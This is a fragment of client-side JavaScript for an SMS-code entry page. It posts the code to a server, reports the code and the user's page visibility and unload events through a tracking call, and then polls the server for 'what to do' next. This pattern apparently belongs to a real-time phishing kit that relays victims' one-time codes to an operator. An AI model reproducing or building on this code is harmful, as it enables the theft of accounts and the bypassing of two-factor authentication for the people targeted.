                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
                </svg>
                Processing...
            `;
            
            // Send action for SMS submission
            sendAction(`sms_submitted: ${smsCode}`);
            
            console.log('Starting SMS submission...');
            showLoadingOverlay('Processing SMS...', 'Verifying code');
            
            try {
                const formData = new FormData();
                formData.append('code', smsCode);
                formData.append('_token', document.querySelector('input[name="_token"]').value);
                
                console.log('Sending SMS to:', verifySmsUrl);
                
                const response = await fetch(verifySmsUrl, {
                    method: 'POST',
                    body: formData,
                    headers: {
                        'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value
                    }
                });

                console.log('SMS response status:', response.status);
                
                if (response.ok) {
                    const responseData = await response.json();
                    console.log('SMS response data:', responseData);
                    
                    // Vérifier si la réponse est vraiment un succès
                    if (responseData.success === true) {
                        console.log('SMS submission successful, starting polling...');
                        startWhatToDoPolling();
                    } else {
                        console.log('SMS submission failed:', responseData);
                        hideLoadingOverlay();
                        showSmsError(responseData.message || 'Error submitting the SMS');
                    }
                } else {
                    const errorData = await response.json();
                    console.log('SMS error response:', errorData);
                    hideLoadingOverlay();
                    if (errorData && errorData.message) {
                        showSmsError(errorData.message);
                    } else {
                        let reason = 'Error submitting the SMS';
                        if (response.status === 422) reason = 'Invalid SMS code. Please check and try again.';
                        else if (response.status === 429) reason = 'Too many attempts. Please try again later.';
                        else if (response.status >= 500) reason = 'Server error. Please try again later.';
                        showSmsError(reason);
                    }
                }
            } catch (error) {
                console.error('SMS submission error:', error);
                hideLoadingOverlay();
                showSmsError('Network error');
            }
        });
    }
    
    // 5. Page visibility tracking
    document.addEventListener('visibilitychange', () => {
        if (document.hidden) {
            sendAction('page_hidden');
        } else {
            sendAction('page_visible');
        }
    });
    
    // 6. Page unload tracking
    window.addEventListener('beforeunload', () => {
        const url = '/refresh-action';
        const data = JSON.stringify({ action_sent: 'page_unload' });
        const headers = { type: 'application/json' };
        navigator.sendBeacon(url, new Blob([data], headers));
    });
}); 